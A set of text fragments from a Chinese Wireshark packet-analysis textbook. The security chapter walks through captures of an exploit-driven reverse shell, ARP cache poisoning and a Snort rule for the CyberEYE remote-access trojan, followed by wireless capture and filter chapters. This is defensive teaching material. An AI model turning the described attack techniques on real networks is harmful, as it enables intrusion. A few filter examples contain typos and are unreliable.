    {"text": "与302返回码一起来的还有一个Location域，它指明重定向位置是/info?rFfWELUjLJHpP，如图10-9所示。 图10-9 客户端浏览器被这个数据包重定向 收到HTTP 302数据包后，客户端在数据包7中初始化了另一个针对/info?rFfWELUjLJHpP这个URL的GET请求，然后在数据包8中收到了一个ACK。"},
    {"text": "第二部分包含在<span></span>标签内，是<iframe src=\"/infowTVeeGDYJWNfsrdrv iYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif\"onload= WisgEg NEfaONekEqaMyAUALLMYW(event)\" />。"},
    {"text": "如图10-13所示，当受害者的浏览器发现对这个文件的引用时，它在数据包21中发送了一个GET请求，紧接着GIF文件就被传送过来了。 这个GIF文件有可能被用来以某种方式，触发已经下载到受害者机器上的漏洞利用代码。 图10-13 受害者请求并下载iframe中指明的GIF文件 当受害者向攻击者的4321端口初始化连接时，文件中最奇怪的一部分出现在数据包25中。"},
    {"text": "就其本身而言，没有对这个漏洞利用程序的事先了解，也没有该程序的代码样本，在没有进一步分析之前很难说清受害者系统上到底发生了什么。"},
    {"text": "一旦漏洞被成功利用，就执行隐藏在混淆代码中的payload，在4321端口打开一个从受害者向攻击者的新会话。 该payload会产生一个命令行解释器并返回给攻击者，以便攻击者与目标进行交互。"},
    {"text": "在MITM攻击中，攻击者重定向两台主机间的流量，试图在传输过程中对流量进行拦截或修改。 MITM攻击有多种形式，包括会话劫持、DNS欺骗，以及SSL劫持。"},
    {"text": "ARP缓存中毒攻击之所以有效，是因为特意构造的ARP数据包使两台主机相信它们是在互相通信，而实际上它们却是与一个在中间转发数据包的第三方通信。"},
    {"text": "图10-15 column配置屏幕，包含了新增列的来源和目标硬件地址列 如果你还打开了MAC地址解析，应该会看到通信设备的MAC地址表明它是Dell或Cisco硬件。"},
    {"text": "我们看到了一些奇怪的ARP流量，在Dell主机（受害者）和新出现的HP主机（攻击者）之间传输，如图10-16所示。 图10-16 Dell设备和HP设备间奇怪的ARP流量 在进一步深入之前，注意一下这次通信中涉及的端点，由表10-3列出。 表10-3 监视的端点 角色 设备类型 IP地址 MAC地址 受害者 Dell 172.16.0.107 00:21:70:c0:56:f0 路由器 Cisco 172.16.0.1 00:26:0b:21:07:33 攻击者 HP 未知 00:25:b3:bf:91:ee 是什么使流量变得奇怪呢？"},
    {"text": "首先，数据包54是MAC地址为00:25:b3:bf:91:ee的攻击者发送的ARP请求，它作为单播数据包直接发送给MAC地址为00:21:70:c0:56:f0的受害者。"},
    {"text": "最诡异的事情出现在数据包56中：攻击者给受害者发送了一个包含未请求的ARP响应数据包，告诉它172.16.0.1对应的MAC地址是00:25:b3:bf:91:ee③。"},
    {"text": "要使攻击生效，攻击者必须给路由器发送同样序列的数据包，骗它认为攻击者就是受害者。 但我们需要在路由器（或攻击者）那捕获才能看到这些数据包。"},
    {"text": "当你用出现奇怪ARP流量前的数据包（比如数据包40，如图10-18所示）与它比较时，你会发现远程服务器（Google）的IP地址是一样的，但目标MAC地址却变化了。"},
    {"text": "[**] [1:132456789:2] CyberEYE RAT Session Establishment [**] [Classification:A Network Trojan was detected] [Priority:1] 07/18-12:45:04.656854 172.16.0.111:4433 -> 172.16.0.114:6641 TCP TTL:128 TOS:0x0 ID:6526 IpLen:20 DgmLen:54 DF ***AP*** Seq:0x53BAEB5E Ack:0x18874922 Win:0xFAF0 TcpLen:20 下一步我们将查看触发此次警报的特征规则。 alert tcp any any -> $HOME_NET any (msg:\"CyberEYE RAT Session Establishment\"; content:\"|41 4E 41 42 49 4C 47 49 7C|\"; classtype:trojan-activity; content:\"|41 4E 41 42 49 4C 47 49 7C|\"; classtype:trojan-activity; sid:132456789; rev:2;) 这个规则是这样定义的：当它发现一个进入内网的数据包含有十六进制内容41 4E 41 42 49 4C 47 49 7C时，就产生警报。"},
    {"text": "当检测到这个字符串时，警报就会响起，这可能预示着CyberEYE远程访问木马（Remote-access Trojan，RAT）的出现。 RAT是秘密运行在受害者计算机上的恶意应用程序，它连接到攻击者，使攻击者能远程管理受害者的机器。"},
    {"text": "图10-19 在数据包4中发现了Snort警报中的字符串内容 若多次选择 Edit -> Find Next ，你会看见这个字符串也在数据包5、10、32、156、280、405、531和652出现了。"},
    {"text": "尽管这个捕获文件里的所有通信都是在攻击者（172.16.0.111）和受害者（172.16.0.114）之间产生的，但看起来这个字符串出现在了不同的会话中。"},
    {"text": "结果，受害者响应了一些基本系统信息，包括计算机名称（CSANDERS-6F7F77）和使用的操作系统（Windows XP Service Pack 3），并开始给攻击者发送回一些重复的字符串“BAGLIMI?”。"},
    {"text": "现在，如果我们跟随这个新会话（如图10-22所示）的TCP流输出，就能看到熟悉的字符串“ANABILGI|12”，跟在后面的是字符串“SH|556”，最后是字符串“CAPSCREEN|C:\\WINDOWS\\jpgevhook.dat|84972”。"},
    {"text": "选择下拉菜单旁边的箭头，那里写着 Entire Conversation (85033 bytes) 。 确保选择合适的流量方向，就是 172.16.0.114:6643 --> 17216.0.111:4433 (85020 bytes) 。"},
    {"text": "Wireshark数据包分析实战(第2版) 10.3 小结 在本章中，我们讲了如何在安全相关的场景中解析数据包捕获、分析常见攻击技术以及响应IDS警报等内容。这些内容足可以写一本书。而我们只是学习了一些常用的扫描和枚举类型、一种常见的中间人攻击技术、两个如何利用系统漏洞的例子，以及一旦发生这些情况会有什么后果而已。 [1] “肉鸡”是网络安全领域中的行话，指被恶意入侵者远程控制的机器。因为机器被远程控制后，将“任人宰割”，所以俗称“肉鸡”。——译者注 [2] Google宣称遭受源自中国的攻击，并随后宣布将搜索引擎服务从中国大陆转移到中国香港。——译者注 Wireshark数据包分析实战(第2版) 第11章 无线网络数据包分析 与传统有线网络相比，无线网络稍微有些不同。虽然我们仍然在处理TCP、IP等常见的通信协议，但是当移到OSI模型最底层时，游戏便发生了一点变化。在这里，由于无线网络和物理层的本质属性，数据链路层变得尤为重要。这给我们捕获和访问数据增加了新的限制。 考虑到这些额外因素，你应该不会惊讶于这一整章都将讨论无线网络中的数据包捕获和分析。本章我们将讨论为什么无线网络在数据包分析中比较特殊，以及如何克服这些困难。当然，我们会通过捕获无线网络的实际例子来进行说明。 Wireshark数据包分析实战(第2版) 11.1 物理因素 在无线网络中捕获和分析传输数据，首先考虑的是物理传输介质。到目前为止，我们都没有考虑物理层，因为我们一直在物理的线缆上通信。现在我们通过不可见的无线电波通信，数据包就从我们身边飞过。 11.1.1 一次嗅探一个信道 当从无线局域网（Wireless Local Area Network，WLAN）捕获流量时，最特殊的莫过于无线频谱是共享介质。不像有线网络的每个客户端都有它自己的网线连接到交换机，无线通信的介质是客户端共享的空间。单个WLAN只占用802.11频谱的一部分。这允许同一个物理空间的多个系统在频谱不同的部分进行操作。 注意 无线网络的基础是美国电子和电气工程师协会（Institute of Electrical and Electronics Engineers，IEEE）开发的802.11标准。整章涉及的“无线网络”“WLAN”等术语均指802.11标准中的网络。 空间上的分离是通过将频谱划分为不同信道实现的。一个信道只是802.11无线频谱的一部分。在美国，有11个信道可用（有些国家允许使用更多的信道）。这是很重要的，因为WLAN同时只能操作一个信道，就意味着我们只能同时嗅探一个信道，如图11-1所示。所以，如果你要处理信道6的WLAN，就必须将系统配置成捕获信道6的流量。 图11-1 嗅探无线网络很麻烦，因为同一时间只能处理一个信道 注意 传统的无线嗅探只能同时处理一个信道，但有一个例外：某些无线扫描应用程序使用“跳频”技术，可以迅速改变监听信道以收集更多数据。其中最流行的工具是Kismet（ http://www.kismetwireless.net/ ），可以每秒跳跃10个信道，从而高效地嗅探多个信道。 11.1.2 无线信号干扰 当有其他因素干扰信号时，无线通信不能保证空气中传输的数据是完整的。无线网络有一定的抗干扰特性，但并不完全可靠。因此，当从无线网络捕获数据包时，你必须注意周边环境，确保没有大的干扰源，比如大型反射面、大块坚硬物体、微波炉、2.4Ghz无绳电话、厚墙面，以及高密度表面等。这些可能导致数据包丢失、数据包重复或数据包损坏。 同时你还要考虑信道间干扰。虽然同一时刻只能嗅探一个信道，但还是有个小小的忠告：无线频谱被分为多个不同的传输信道，但因为频谱空间有限，信道间有些许重叠，如图11-2所示。这意味着，如果信道4和信道5上都有流量，当你在其中一个信道上嗅探时，会捕获到另一个信道上的数据包。通常，同一地域上的多个网络被设置成使用1、6和11这3个不重叠信道，所以你可能不会遇到这个问题，但以防万一，你还是要了解这是怎么回事。 图11-2 由于频谱空间有限，信道之间有重叠 11.1.3 检测和分析信号干扰 无线信号干扰的问题不是在Wireshark上观察数据包就能解决的。如果你致力于维护WLAN，就应该定期检测信号干扰。这可以用频谱分析仪来完成，它可以显示频谱上的数据或干扰。 商业的频谱分析仪价格昂贵甚至高达数千美元，但对于日常使用则有更好的方案。MetaGeek开发了一个叫Wi-Spy的产品，这是一个USB硬件设备，用于监测整个802.11频谱上的干扰。与MetaGeek的Chanalyzer软件搭配后，这个硬件可以输出图形化频谱，有助于解决无线网络的问题。Chanalyzer的示例输出如图11-3所示。 图11-3 这个Chanalyzer显示同一地点有多个WLAN在工作"},
    {"text": "Wireshark数据包分析实战(第2版) 11.2 无线网卡模式 在开始嗅探无线数据包之前，我们需要了解无线网卡的不同工作模式。 无线网卡一共有4种工作模式。 被管理模式 (Managed mode)： 当你的无线客户端直接与无线接入点（Wireless Access Point，WAP）连接时，就使用这个模式。在这个模式中，无线网卡的驱动程序依赖WAP管理整个通信过程。 Ad hoc模式： 当你的网络由互相直连的设备组成时，就使用这个模式。在这个模式中，无线通信双方共同承担WAP的职责。 主模式（Master mode）： 一些高端无线网卡还支持主模式。这个模式允许无线网卡使用特制的驱动程序和软件工作，作为其他设备的WAP。 监听模式（Monitor mode）： 就我们的用途而言，这是最重要的模式。当你希望无线客户端停止收发数据，专心监听空气中的数据包时，就使用监听模式。要使Wireshark捕获无线数据包，你的无线网卡和配套驱动程序必须支持监听模式（也叫RFMON模式）。 大部分用户只使用无线网卡的被管理模式或ad hoc模式。图11-4展示了各种模式如何工作。 图11-4 不同的无线网卡模式 注意 经常有人问我推荐哪款无线网卡做数据包分析。我强烈推荐自己使用的 ALFA 1000mW USB 无线适配器。这是市场上最好的产品之一，确保你捕获到每一个可能的数据包。大部分在线计算机硬件零售商都销售此款产品。 Wireshark数据包分析实战(第2版) 11.3 在Windows上嗅探无线网络 即使你有支持监听模式的无线网卡，大部分基于Windows的无线网卡驱动也不允许你切换到这个模式（WinPcap也不支持这么做）。你需要一些额外的硬件来完成工作。 11.3.1 配置AirPcap AirPcap（Riverbed旗下CACE Technologies公司的产品， http://www.cacetech.com/ ）被设计用来突破Windows强加给无线数据包分析的限制。AirPcap像U盘一样小巧，如图11-5所示，用于捕获无线流量。AirPcap使用第3章讨论的WinPcap驱动和一个特制的客户端配置工具。 图11-5 AirPcap的设计非常紧凑，适合与笔记本电脑一同携带 AirPcap的配置程序很简单，只有一些配置选项。如图11-6所示，AirPcap控制面板提供了以下几个选项。 Interface： 你可以在这里选择要捕获的设备。一些高级的分析场景会要求你使用多个AirPcap设备，同时嗅探多个信道。 Blink Led： 选中这个按钮会使AirPcap设备上的LED指示灯闪烁。当存在多个AirPcap设备时，可用来识别正在使用的适配器。 Channel： 在下拉菜单里，你可以选择希望AirPcap监听的信道。 Include 802.11 FCS in Frames： 默认情况下，一些系统会去掉无线数据包的最后4个校验和比特。这个被称为帧校验序列（Frame Check Sequence，FCS）的校验和用来确保数据包在传输过程中没被破坏。除非你有特别的理由，否则请勾选这个复选框（包含FCS校验和）。 Capture Type ：这里有两个选项：802.11 Only和802.11 + Radio。802.11 Only选项包含标准的802.11数据包头。802.11 + Radio选项包含这个包头以及前端的radiotap头部，因而包含额外信息，比如数据率、频率、信号等级和噪声等级。选择802.11 + Radio以观察所有可用的数据信息。 FCS Filter： 即便你没有选择Include 802.11 FCS in Frames，这个选项也可以过滤FCS认为已经被损坏的数据包。使用Valid Frames选项可以只显示FCS认为成功接收的那些数据包。 WEP Configuration ：这个区域（在AirPcap Control Panel的Keys选项卡可见）允许你输入所嗅探网络的WEP密码。为了能解密WEP加密的数据，你需要在这里填入正确的WEP密码。WEP密码将在11.8节“无线网络安全”中讨论。 图11-6 AirPcap配置程序 11.3.2 使用AirPcap捕获流量 一旦安装并配置好AirPcap，接下来的捕获过程你已经很熟悉了。只要启动Wireshark并选择 Capture -> Options 。接着，在 Interface 下拉框中选择AirPcap设备，如图11-7所示。 图11-7 选择AirPcap设备作为捕获接口 除了Wireless Settings按钮外，屏幕上的一切都很熟悉。单击这个按钮会给出与AirPcap配置程序一样的选项，如图11-8所示。AirPcap是完全嵌入Wireshark的，因此所有配置都可以在Wireshark中修改。 一切都配置好之后，就可以单击 Start 按钮开始捕获数据包了。 图11-8 Advanced Wireless Settings对话框允许你在Wireshark中配置AirPcap"},
    {"text": "Wireshark数据包分析实战(第2版) 11.4 在Linux上嗅探无线网络 在Linux系统嗅探只需要简单地启用无线网卡的监听模式，然后启动Wireshark即可。不幸的是，不同型号无线网卡启用监听模式的流程各不相同，所以在这里我不能给出明确提示。实际上，有些无线网卡并不要求你启用监听模式。你最好Google一下你的网卡型号，确定是否需要启用它，以及如何启用。 在Linux系统中，通过内置的无线扩展程序启用监听模式是常用的办法之一。你可以用iwconfig命令打开无线扩展程序。如果你在控制台上键入iwconfig，应该会看到这样的结果。 $ iwconfig eth0 no wireless extensions lo0 no wireless extensions eth1 IEEE 802.11gESSID:\"Tesla Wireless Network\" Mode:Managed Frequency:2.462 GHz Access Point:00:02:2D:8B:70:2E Bit Rate:54 Mb/s Tx-Power-20 dBm Sensitivity=8/0 Retry Limit:7 RTS thr: off Fragment thr: off Power Management: off Link Quality=75/100 Signal level=-71 dBm Noise level=-86 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:2 iwconfig命令的输出显示eth1接口可以进行无线配置。这是显然的，因为它显示了与802.11g协议有关的数据，反观eth0和lo0，它们只返回了“no wireless extensions”。 这个命令提供了许多无线配置信息，仔细看下，有无线扩展服务设置ID（Extended Service Set ID，ESSID）、频率等。我们注意到“eth1”下面一行显示，模式已经被设置为“被管理”，这就是我们想改动的地方。 要将eth1改成监听模式，你必须以root用户身份登录。可以直接登录或用切换用户（su）命令，如下所示。 $ su Password:<enter root password here> 你成为root用户后，就可以键入命令来配置无线网卡选项。输入以下命令可以将eth1配置成监听模式。 # iwconfig eth1 mode monitor 网卡进入监听模式后，再次运行iwconfig命令应该能反映出变化。输入以下命令，以确保eth1接口可以工作。 # iwconfig eth1 up 我们也将使用iwconfig命令改变监听信道：输入以下命令，改变eth1接口的信道为信道3。 # iwconfig eth1 channel 3 注意 你可以在捕获数据包的过程中随意修改信道，所以随便改吧，没事！也可以将iwconfig命令脚本化以简化过程。 完成这些配置后，启动Wireshark开始你的数据包捕获之旅！ Wireshark数据包分析实战(第2版) 11.5 802.11数据包结构 无线数据包与有线数据包的主要不同在于额外的802.11头部。这是一个第2层的头部，包含与数据包和传输介质有关的额外信息。802.11数据包有3种类型。 管理： 这些数据包用于在主机之间建立第2层的连接。管理数据包还有些重要的子类型，包括认证（authentication）、关联（association）和信号（beacon）数据包。 控制： 控制数据包允许管理数据包和数据数据包的发送，并与拥塞管理有关。常见的子类型包括请求发送（request-to-send）和准予发送（clear-to-send）数据包。 数据： 这些数据包含有真正的数据，也是唯一可以从无线网络转发到有线网络的数据包。 一个无线数据包的类型和子类型决定了它的结构，因此各种可能的数据包结构不计其数。我们将考察其中一种结构，请看80211beacon.pcap文件里的单个数据包。这个文件包含一种叫beacon的管理数据包的例子，如图11-9所示。 图11-9 这是一个802.11 beacon数据包 beacon是你能找到的最有信息量的无线数据包之一。它作为一个广播数据包由WAP发送，穿过无线信道通知所有无线客户端存在这个可用的WAP，并定义了连接它必须设置的一些参数。在我们的示例文件中，你可以看到这个数据包在802.11头部的Type/Subtype域被定义为beacon。 在802.11管理帧头部发现了其他信息，包括以下内容。 Timestamp 发送数据包的时间戳。 Beacon Interval beacon数据包重传间隔。 Capability Information WAP的硬件容量信息。 SSID Parameter Set WAP广播的SSID（网络名称）。 Supported Rates WAP支持的数据传输率。 DS Parameter WAP广播使用的信道。 这个头部也包含了来源和目的地址以及厂商信息。 在这些知识的基础上，我们可以了解到示例文件中发送beacon的WAP的很多信息。显然这是一台D-Link设备，使用802.11b标准（B），在信道11上工作。 虽然802.11管理数据包的具体内容和用途不一样，但总体结构跟这个例子相差不大。"},
    {"text": "Wireshark数据包分析实战(第2版) 11.6 在Packet List面板增加无线专用列 如你所见，Wireshark通常在Packet List面板显示6个不同的列。分析无线数据包之前，让我们在Packet List面板增加3个新列。 RSSI（for Received Signal Strength Indication）列，显示捕获数据包的射频信号强度。 TX Rate（for Transmission Rate）列，显示捕获数据包的数据率。 Frequency/Channel 列，显示捕获数据包的频率和信道。 当处理无线连接时，这些提示信息将会非常有用。例如，即使你的无线客户端软件告诉你信号强度很棒，捕获数据包并检查这些列，也许会得到与之前结果不符的数字。 按照以下步骤，在Packet List面板增加这些列。 1．选择 Edit -> Preferences 。 2．到 Columns 部分，并单击 Add 。 3．在 Title 域键入 RSSI ，并在域类型下拉列表中选择 IEEE 802.11 RSSI 。 4．为TX Rate和Frequency/Channel列重复此过程，为它们取个恰当的 Title ，并在 Field type 下拉列表选择 IEEE 802.11 TX Rate 和 Channel/Frequency。 添加3列之后，Preferences窗口应该像图11-10一样。 图11-10 在Packet List面板增加与无线相关的列 5．单击 OK 按钮使改动生效。 6．重启Wireshark以显示新列。 Wireshark数据包分析实战(第2版) 11.7 无线专用过滤器 我们在第4章讨论过了使用捕获和显示过滤器的好处。在有线网络中筛选流量要容易得多，因为每个设备有它自己的专用线缆。然而，在无线网络中，所有无线客户端产生的流量同时存在于共享信道中，这意味着捕获任一个信道，都将包含几十个客户端的流量。本节要讨论的焦点就是数据包过滤器，可帮你找到特定流量。 11.7.1 筛选特定BSS ID的流量 网络上每一个WAP都有它自己的识别名，叫做“基础服务设备识别码”（Basic Service Set Identifier，BSS ID）。接入点发送的每一个管理分组和数据分组都包含这个名称。 一旦你知道想要查看的BSS ID名称，你需要做的只是找到那个WAP发送的数据包而已。Wireshark在Packet List面板的Info列里显示了WAP，因此找到这个信息易如反掌。 一旦得到感兴趣的WAP所传输的数据包，你需要在802.11头部中找它的BSS ID域。过滤器就基于这个地址来编写。找到BSS ID MAC地址后，你可以使用这个过滤器。 wlan.bssid.eq 00:11:22:33:44:55:66 这样你就能只看见流经该特定WAP的流量了。 11.7.2 筛选特定的无线数据包类型 在本章前面，我们曾讨论过你可能在网络上看见的无线数据包类型。你通常需要基于这些类型和子类型来筛选数据包。对于特定类型，可以用过滤器wlan. fc.type来实现；对于特定类型或子类型的组合，可以用过滤器wc.fc.type_subtype来实现。例如，为了过滤一个NULL数据包（在16进制中是类型2，子类型4），你可以使用wlan.fc.type_subtype eq 0x24这个过滤器。表11-1提供了802.11数据包类型和子类型的简要参考。 表11-1 无线类型/子类型和相关过滤器语法** 帧类型/子类型 过滤器语法 Management frame wlan.fc.type eq 0 Control frame wlan.fc.type eq 1 Data frame wlan.fc.type eq 2 Association request wlan.fc.type_subtype eq 0x00 Association response wlan.fc.type_subtype eq 0x01 Reassociation request wlan.fc.type_subtype eq 0x02 Reassociation response wlan.fc.type_subtype eq 0x03 Probe request wlan.fc.type_subtype eq 0x04 Probe response wlan.fc.type_subtype eq 0x05 Beacon wlan.fc.type_subtype eq 0x08 Disassociate wlan.fc.type_subtype eq 0x0A Authentication wlan.fc.type_subtype eq 0x0B Deauthentication wlan.fc.type_subtype eq 0x0C Action frame wlan.fc.type_subtype eq 0x0D Block ACK requests wlan.fc.type_subtype eq 0x18 Block ACK wlan.fc.type_subtype eq 0x19 Power save poll wlan.fc.type_subtype eq 0x1A Request to send wlan.fc.type_subtype eq 0x1B Clear to send wlan.fc.type_subtype eq 0x1C ACK wlan.fc.type_subtype eq 0x1D Contention free period end wlan.fc.type_subtype eq 0x1E NULL data wlan.fc.type_subtype eq 0x24 QoS data wlan.fc.type_subtype eq 0x28 Null QoS data wlan.fc.type_subtype eq 0x2C 11.7.3 筛选特定频率 如果你在查看来自多个信道的流量，那基于信道的筛选就非常有用。例如，如果你本来只期待在信道1和6出现流量，可以输入一个过滤器显示信道11的流量。如果发现有流量，那你就知道一定是哪里弄错了——或许是配置错误，或许有无赖设备。使用这个过滤器语法，可以筛选特定频率。 radiotap.channel.freq == 2412 这将显示信道1的所有流量。你可以将2412值替换成想筛选的信道对应的频率。表11-2列出了信道和频率的对应表格。 表11-2 802.11无线信道和频率 信道 频率 1 2412 2 2417 3 2422 4 2427 5 2432 6 2437 7 2442 8 2447 9 2452 10 2457 11 2462 另外还有数百个实用的无线网络流量过滤器。你可以在 Wireshark wiki（ http://wiki.Wireshark.org/ ）上查看它们。"},
    {"text": "Wireshark数据包分析实战(第2版) 11.8 无线网络安全 部署和管理无线网络时最大的担忧就是传输数据的安全性。数据在空气中飞过，任何人都能得到它，因此数据加密是至关重要的。否则，任何人拿到Wireshark和AirPcap就都能看到数据了。 注意 当使用其他层次的加密技术时，比如SSL或SSH，那么在那层的数据就是加密的，别人使用数据包嗅探器仍然读不到用户的通信内容。 最初推荐用在无线网络中加密传输数据的技术依据“有线等效加密”（Wired Equivalent Privacy，WEP）标准。WEP在前几年很成功，直到后来发现了它在密钥管理方面的几个漏洞。为了加强安全，几个新标准又被设计出来。这包括无线上网保护接入（Wi-Fi Protected Access，WPA）和WPA2标准。尽管WPA和它更安全的版本WPA2仍然不可靠，但一般认为它们比WEP强多了。 在这节，我们来看一些WEP和WPA流量，以及认证失败的例子。 11.8.1 成功的WEP认证 80211-WEPauth.pcap文件包含了成功连接WEP无线网络的例子。这个网络使用WEP安全机制。你必须向WAP提供一个密码，以通过认证并解密它发来的数据。你可以把WEP密码当成无线网络密码。 如图11-11所示，这个捕获文件以数据包4所示的从WAP（00:11:88:6b:68:30）发送到无线客户端（00:14:a5:30:b0:af）的质询开始。这个质询的目的是确认无线客户端是否有正确的WEP密码。展开802.11头部和tagged parameters，你可以看到这个质询。 图11-11 WAP给无线客户端发送质询文本 在数据包5中，这个质询被确认。然后无线客户端将用WEP密码解密的质询文本返回给WAP，如图11-12所示。 图11-12 无线客户端向WAP发送已解密的质询文本 在数据包7中，这个数据包被再次确认，并且WAP在数据包8中响应了无线客户端，如图11-13所示。响应里包含了一个说明认证成功的通知。 图11-13 WAP通知客户端认证成功了 成功认证后，客户端可以发送关联（association）请求、接收确认、完成连接过程，如图11-14所示。 图11-14 认证过程后紧跟一个简单的双数据包关联请求和响应 11.8.2 失败的WEP认证 在下一个例子中，一位用户输入他的WEP密码连接到WAP，几秒后，无线客户端程序报告无法连接到无线网络，但没有给出原因。捕获的文件是80211-WEPauthfail.pcap。 与成功连接时一样，通信从WAP在数据包3发送质询文本到无线客户端开始。这个消息被成功确认了。接着，在数据包5中，无线客户端使用用户提供的WEP密码发送了响应。 到这里，我们会想，应该有一个通知告诉我们认证成功了。但是我们在数据包7却看到了不一样的情况，如图11-15所示。 图11-15 这个消息告诉我们认证不成功 这个消息告诉我们无线客户端对质询文本的响应不正确。这表明客户端用以解密质询文本的WEP密码肯定输错了。结果，连接过程就失败了。必须用正确的WEP密码重试才行。 11.8.3 成功的WPA认证 WPA使用了与WEP完全不同的认证机制，但它仍然依赖于用户在无线客户端输入的密码来连接到网络。80211-WPAauth.pcap文件中有一个成功的WPA认证的例子。 该文件第一个数据包是WAP发送的beacon广播。我们展开这个数据包的802.11头部，沿着tagged parameters往下看，展开Vendor Specific标题，如图11-16所示，能看到无线接入点的WPA①属性部分。这让我们了解到无线接入点支持WPA，以及版本与实现厂商。 图11-16 这个beacon让我们知道无线接入点支持WPA认证 无线客户端（00:0f:b5:88:ac:82）收到这个beacon广播后，就向无线接入点（00:14:6c:7e:40:80）发送一个探测请求，并得到了响应。无线客户端和无线接入点在数据包4～7之间生成认证与关联的请求及响应。 现在把目光转移到数据包8上。这是WPA开始握手的地方，一直持续到数据包11。这个握手过程就是WPA质询响应的过程，如图11-17所示。 图11-17 这些数据包是WPA握手的一部分 这里有两个质询与响应。每个数据包都可在基于802.1x Authentication头部下的Replay Counter域找到匹配对象，如图11-18所示。注意到前两个握手数据包的Replay Counter值是1，而后两个握手数据包的值是2。 图11-18 Replay Counter域帮助我们匹配质询和响应 WPA握手完成、认证成功后，数据就开始在无线客户端和WAP之间传输了。 11.8.4 失败的WPA认证 与WEP一样，用户输入WPA密码后，无线客户端程序报告无法连接到无线网络，但没有指出问题在哪里，我们来看看发生了什么。捕获的结果保存在 80211-WPAauthfail.pcap文件中。 像刚才成功的WPA认证一样，捕获文件以同样的方式开始。这包括探测、认证和关联请求。WPA握手从数据包8开始，但在这个例子中，我们看到了8个握手数据包，而不是之前在成功认证环节中看到的4个。 数据包8和9表示WPA握手的前两个数据包。然而在这个例子中，客户端发送回WAP的质询文本有误。结果，这个序列在数据包10和11、12和13、14和15中多次重复，如图11-19所示。使用Replay Counter值可以配对每个请求和响应。 图11-19 额外的EAPOL数据包表明WPA认证失败了 握手过程重试4次后，通信中止了。如图11-20所示，数据包16表明无线客户端没有通过认证。 图11-20 WPA握手失败后，客户端认证失败"},
    {"text": "Wireshark数据包分析实战(第2版) 11.9 小结 虽然无线网络仍然普遍被认为不安全，但它在各个组织环境的部署却丝毫没有减缓。随着将焦点转移到无线通信，掌握有线网络那样的捕获并分析无线网络数据包的方法变得尤为重要。本章讲授的概念和技巧当然是不全面的，但它们能帮助你理解使用数据包分析技术解决无线网络问题的难点，让你赢在起跑线上。 Wireshark数据包分析实战(第2版) 附录A 延伸阅读 数据包分析工具不仅只有Wireshark，还有一大堆好用的工具，可以在解决网络缓慢、网络安全等常规问题及分析无线网络问题时大显身手。本章列出了一些有用的数据包分析工具，以及其他数据包分析的学习资源。"},
    {"text": "图A-3显示了pcapr上的DHCP流量捕获的例子。 图A-3 在pcapr上查看DHCP流量捕获 每次要查找某种确定类型的通信样例时，我都是首先在pcapr上搜索。"},
    {"text": "A.1.9 Tcpreplay 每当我有一堆数据包需要在线路上重传并观察设备如何响应它们时，我就用Tcpreplay来执行这个任务。 Tcpreplay专门设计用来重传PCAP文件里的数据包。 可以从 http://tcpreplay.synfin.net/ 下载它。"},
    {"text": "Wireshark数据包分析实战(第2版) A.2 数据包分析资源 从Wireshark的主页到教程、博客，有很多可用的数据包分析资源。我将在此列出我最喜欢的一些。 A.2.1 Wireshark主页 与Wireshark有关的首要资源就是它的主页： http://www.Wireshark.org/ 。主页包括软件文档、一个非常有用的包含了捕获文件样例的wiki，以及Wireshark邮件列表的注册信息。 A.2.2 SANS安全入侵检测深入课程 作为一名SANS导师，我可能会有点偏袒，但我真不认为这个星球上有比“SANS SEC 503：Intrusion Detection In-Depth”更好的数据包分析课程。这个课程集中于数据包分析的安全方面。即便你不是重点关注安全，该课程前两天提供的对数据包分析和对tcpdump的介绍也是我所见最好的。 该课程由我的两位数据包分析英雄Mike Poor和Judy Novak讲授。它每年面授好几次。若你的旅行经费有限，没关系，该课程也通过基于web的点播格式在线讲授。 你可以在 http://www.sans.org/ 阅读到更多关于SEC 503和其他SANS课程的信息。 A.2.3 Chris Sanders的博客 我没有太多时间写博客，但偶尔也会在我的博客 http://www.chrissanders.org/ 上写一些有关数据包分析的文章。如果没有别的，我的博客就作为链接到我写的其他文章和书籍的门户，另外它也提供了我的联系方式。 A.2.4 Packetstan博客 Mike Poor和Judy Novak的博客是我目前最喜欢的与数据包相关的博客。他们的网站 http://www.packetstan.com/ 包含了一些有趣流量的分类，并且每一篇内容都是A+级别的。Mike和Judy在他们领域是做得最好的两位，给了我很大鼓舞。 A.2.5 Wireshark大学 你会发现，Laura Chappell是最多产的Wireshark布道者之一。她的网站包含了很多Wireshark使用技巧，以及她的著作 Wireshark Network Analysis 的信息和她教授的课程。在 http://www.Wiresharktraining.com/ 能找到更多相关信息。 A.2.6 IANA 互联网编号分配机构（Internet Assigned Numbers Authority，IANA）的网站是 http://www.iana.org/ ，它负责监督为北美分配IP地址和协议号码。它的网站提供了一些有价值的参考工具，比如查找端口号、查看有关顶级域名的信息、以及浏览合作网站查阅RFC文档。 A.2.7 TCP/IPIllustrated（Addison-Wesley） 对生活在数据包层次的人而言，Richard Stevens博士撰写的系列图书是书架上的主要书目，已被多数人奉为TCP/IP圣经。这是我最喜欢的TCP/IP书籍，也是我写作本书时经常参考的文献。 A.2.8 TheTCP/IP Guide（No Starch出版社） 在TCP/IP领域里，我最喜欢的另一本书是Charles Kozierok写的。这本巨著厚达1000多页，内容非常详细，并且为视觉型学习者准备了大量很棒的图表。 Wireshark数据包分析实战(第2版) 看完了 如果您对本书内容有疑问，可发邮件至contact@epubit.com.cn，会有编辑或作译者协助答疑。也可访问异步社区，参与本书讨论。 如果是有关电子书的建议或问题，请联系专用客服邮箱：ebook@epubit.com.cn。 在这里可以找到我们： 微博：@人邮异步社区 QQ群：368449889"},
